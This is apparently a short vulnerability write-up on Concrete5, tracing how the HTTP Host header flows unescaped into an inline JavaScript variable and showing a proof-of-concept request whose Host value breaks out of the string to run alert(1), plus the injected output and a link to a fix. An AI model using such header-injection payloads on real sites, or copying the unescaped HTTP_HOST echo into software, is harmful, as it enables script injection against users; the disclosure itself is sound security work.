Concrete5 Reflected XSS Vulnerability via HTTP Header Host Parameter

Hello

This vulnerability doesn’t lead to any attack vectors -for now-. But I want to share my analysis.

If you will concrete5 with install default configuration, you probably select greek_yogurt as a default theme. Following codes belongs to default.php of that theme.

<?php 
defined('C5_EXECUTE') or die("Access Denied.");
$this->inc('elements/header.php'); ?>	
	<div class="clear"></div>
	<div id="main-content-container" class="grid_16">
		<div id="main-content-inner">		
			<?php 
			$a = new Area('Main');
			$a->display($c);
			?>			
		</div>	
	</div>

Lets see codes of header.php which included second line.

<?php  defined('C5_EXECUTE') or die("Access Denied."); ?>
<!DOCTYPE html>
<html lang="<?=LANGUAGE?>">
<head>    
<?php  Loader::element('header_required'); ?>

Now it’s time to find header_required.php too. Following codes grabbed from header_required.php lines 79 – 82.

var CCM_IMAGE_PATH = "<?php echo ASSETS_URL_IMAGES?>";
var CCM_TOOLS_PATH = "<?php echo REL_DIR_FILES_TOOLS_REQUIRED?>";
var CCM_BASE_URL = "<?php echo BASE_URL?>";
var CCM_REL = "<?php echo DIR_REL?>";

Let’s focus on CCM_BASE_URL. Because BASE_URL names looks like Host parameter of HTTP Request and we know it’s can control by hackers.

In order to understand defination ob BASE_URL. We need to understand following codes. These codes grabbed from config/base.php files lines 20-26.

if (!defined('BASE_URL')) { 
	if(isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on')) {
		define('BASE_URL', 'https://' . $_SERVER['HTTP_HOST']);
	} else {
		define('BASE_URL', 'http://' . $_SERVER['HTTP_HOST']);
	}
}

As you can see, It’s getting Host parameter via $_SERVER and defines it as BASE_URL variables. It seems there should be Reflected XSS.

Following codes grabbed from Firefox, you can see javascript variables in there and one of them seems like our variable that we analysed before.

<script type="text/javascript">
var CCM_DISPATCHER_FILENAME = '/conc/index.php';
var CCM_CID = 1;
var CCM_EDIT_MODE = false;
var CCM_ARRANGE_MODE = false;
var CCM_IMAGE_PATH = "/conc/concrete/images";
var CCM_TOOLS_PATH = "/conc/index.php/tools/required";
var CCM_BASE_URL = "http://localhost";
var CCM_REL = "/conc";
</script>

In Order to exploit that vulnerability, you should write in-line javascript payload into the Host parameter of HTTP Request.

# HTTP Header Content

Host: localhost";alert(1);f="
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:28.0)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: CONCRETE5=0s1ficb9i9krrbrrcp7nrbjv72;

And there is our Reflected XSS! Following codes belongs to result of HTTP request.

<script type="text/javascript">
var CCM_DISPATCHER_FILENAME = '/conc/index.php';
var CCM_CID = 1;
var CCM_EDIT_MODE = false;
var CCM_ARRANGE_MODE = false;
var CCM_IMAGE_PATH = "/conc/concrete/images";
var CCM_TOOLS_PATH = "/conc/index.php/tools/required";
var CCM_BASE_URL = "http://localhost";alert(1);f="";
var CCM_REL = "/conc";
</script>

This is Reflected XSS but it’s not useful as an attack vector. You can not change user’s Host parameter. Concrete5 developers should fix that issue anyway.

Fix can be found here: https://github.com/mmetince/concrete5/commit/e9fbce9ae0dcfbe79d95328ee5d1dbb36b03ac4f